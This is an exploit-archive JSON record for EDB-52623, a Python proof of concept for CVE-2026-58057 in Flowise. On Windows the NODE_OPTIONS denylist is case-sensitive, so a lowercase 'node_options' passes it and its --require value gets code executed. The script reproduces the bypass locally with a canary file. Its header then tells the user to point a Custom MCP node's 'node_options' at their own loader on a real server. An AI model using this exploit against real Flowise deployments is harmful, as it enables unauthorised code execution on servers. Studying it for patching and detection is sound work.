{"exploit":{"id":"EDB-52623","name":"Flowise 3.1.3 - Arbitrary Code Execution","description":"Flowise 3.1.3 - Arbitrary Code Execution","cves":["CVE-2026-58057"],"author":"banyamer","published":"2026-07-07","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52623","path":"exploits/multiple/webapps/52623.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52623.py","vulnerabilities":[{"id":"CVE-2026-58057","state":"PUBLISHED","title":"Flowise - Custom MCP Environment Variable Denylist Bypass via Case Sensitivity","titleSource":"CVE Program","description":"Flowise before 3.1.3 validates Custom MCP stdio environment variables against a denylist using a case-sensitive comparison, so on Windows, where environment names are case-insensitive, supplying 'node_options' bypasses the NODE_OPTIONS denylist entry. An authenticated user who can configure a Custom MCP node can thereby inject NODE_OPTIONS --require and execute arbitrary code in the Flowise server context.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-58057","cvss":{"version":"4.0","baseScore":2.3,"severity":"low","vectorString":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-58057"},"updatedAt":"2026-11-08T14:06:43.889Z","retrievedAt":"2026-11-25T16:13:47.499Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52623.png?v=2","url":"https://exploitbin.com/exploits/EDB-52623","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52623/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52623/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title:        Flowise  3.1.3 - arbitrary code execution\n# CVE:                  CVE-2026-58057\n# Date:                 2026-06-29\n# Exploit Author:       Mohammed Idrees Banyamer\n# Author Country:       Jordan\n# Instagram:            @banyamer_security\n# Author GitHub:        https://github.com/mbanyamer\n# Author Blog  :        https://banyamersecurity.com/blog/\n# Vendor Homepage:      https://flowiseai.com\n# Software Link:        https://github.com/FlowiseAI/Flowise\n# Affected:             Flowise < 3.1.3 (Windows deployments)\n# Tested on:            Windows + Flowise 3.1.2\n# Category:             Remote Code Execution\n# Platform:             Windows\n# Exploit Type:         Authenticated\n# CVSS:                 2.3 (Medium)\n# Description:          On Windows, the Custom MCP stdio environment variable validation uses case-sensitive comparison.\n#                       Supplying \"node_options\" bypasses the NODE_OPTIONS denylist and allows arbitrary code execution via --require.\n# Fixed in:             3.1.3 (switched to allow-list)\n# Usage:\n#   python3 exploit.py\n#\n# Examples:\n#   python3 exploit.py\n#   python3 exploit.py --marker C:\\\\Temp\\\\pwned.txt\n#\n# Notes:\n#   • Requires authenticated access to configure Custom MCP node\n#   • Only affects Windows deployments\n#   • Demonstrates bypass + canary RCE\n#\n# How to Use\n#\n# Step 1: Run the PoC to validate the bypass\n# Step 2: In Flowise, configure a Custom MCP node with \"node_options\" env var pointing to your loader\n\nimport argparse\nimport json\nimport os\nimport pathlib\nimport platform\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\ndef flowise_style_validate(env):\n    dangerous = {\"PATH\", \"LD_LIBRARY_PATH\", \"DYLD_LIBRARY_PATH\", \"NODE_OPTIONS\"}\n    for key, value in env.items():\n        if key in dangerous:\n            raise ValueError(f\"Environment variable {key!r} modification is not allowed\")\n        if \"\\x00\" in key or \"\\x00\" in str(value):\n            raise ValueError(\"Environment variables cannot contain null bytes\")\n\ndef normalized_validate(env):\n    dangerous = {\"PATH\", \"LD_LIBRARY_PATH\", \"DYLD_LIBRARY_PATH\", \"NODE_OPTIONS\"}\n    for key, value in env.items():\n        if key.upper() in dangerous:\n            raise ValueError(f\"Environment variable {key!r} modification is not allowed\")\n        if \"\\x00\" in key or \"\\x00\" in str(value):\n            raise ValueError(\"Environment variables cannot contain null bytes\")\n\ndef run_node_canary(marker):\n    node = shutil.which(\"node\")\n    if not node:\n        return {\"node_found\": False, \"canary_created\": False}\n\n    marker_path = pathlib.Path(marker).resolve()\n    loader_path = marker_path.with_suffix(\".loader.js\")\n    loader_path.write_text(\n        \"require('fs').writeFileSync(process.env.FLOWISE_POC_MARKER, 'node_options honored - RCE achieved!')\\n\",\n        encoding=\"utf-8\",\n    )\n\n    env = os.environ.copy()\n    env.pop(\"NODE_OPTIONS\", None)\n    env.pop(\"node_options\", None)\n    env[\"node_options\"] = f\"--require {loader_path}\"\n    env[\"FLOWISE_POC_MARKER\"] = str(marker_path)\n\n    if marker_path.exists():\n        marker_path.unlink()\n\n    completed = subprocess.run(\n        [node, \"-e\", \"process.exit(0)\"],\n        env=env,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE,\n        text=True\n    )\n\n    return {\n        \"node_found\": True,\n        \"node\": node,\n        \"returncode\": completed.returncode,\n        \"stderr\": completed.stderr.strip(),\n        \"marker\": str(marker_path),\n        \"canary_created\": marker_path.exists(),\n        \"canary_content\": marker_path.read_text(encoding=\"utf-8\") if marker_path.exists() else \"\",\n    }\n\ndef run(marker):\n    exact_upper_blocked = False\n    lower_variant_accepted = False\n    normalized_blocks_lower = False\n\n    try:\n        flowise_style_validate({\"NODE_OPTIONS\": \"--require blocked.js\"})\n    except ValueError:\n        exact_upper_blocked = True\n\n    try:\n        flowise_style_validate({\"node_options\": \"--require accepted.js\"})\n        lower_variant_accepted = True\n    except ValueError:\n        lower_variant_accepted = False\n\n    try:\n        normalized_validate({\"node_options\": \"--require accepted.js\"})\n    except ValueError:\n        normalized_blocks_lower = True\n\n    node_result = run_node_canary(marker)\n\n    result = {\n        \"platform\": platform.platform(),\n        \"windows\": os.name == \"nt\",\n        \"flowise_style_exact_upper_blocked\": exact_upper_blocked,\n        \"flowise_style_lower_variant_accepted\": lower_variant_accepted,\n        \"normalized_validator_blocks_lower_variant\": normalized_blocks_lower,\n        \"node_canary\": node_result,\n        \"finding_reproduced\": lower_variant_accepted and (node_result.get(\"canary_created\") if os.name == \"nt\" else True),\n    }\n\n    print(json.dumps(result, indent=2))\n    return 0 if result[\"finding_reproduced\"] else 1\n\ndef banner():\n    print(r\"\"\"\n╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗\n║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║\n║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝\n║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗\n║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║\n╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝\n        ╔═╗ Banyamer Security ╔═╗\n\"\"\")\n\ndef main():\n    banner()\n    parser = argparse.ArgumentParser(description=\"CVE-2026-58057 PoC\")\n    parser.add_argument(\"--marker\", default=str(pathlib.Path(tempfile.gettempdir()) / \"flowise_node_options_case_bypass_marker.txt\"))\n    args = parser.parse_args()\n    raise SystemExit(run(args.marker))\n\nif __name__ == \"__main__\":\n    main()","sha256":"a24c5abe6e2393753bb3d9e8c4dbf8290136b02f5ee05e151d58870a735d18b5","bytes":6406,"fetchedAt":"2026-11-26T08:57:02.569Z","encoding":"utf-8 (display only; download retains original bytes)"}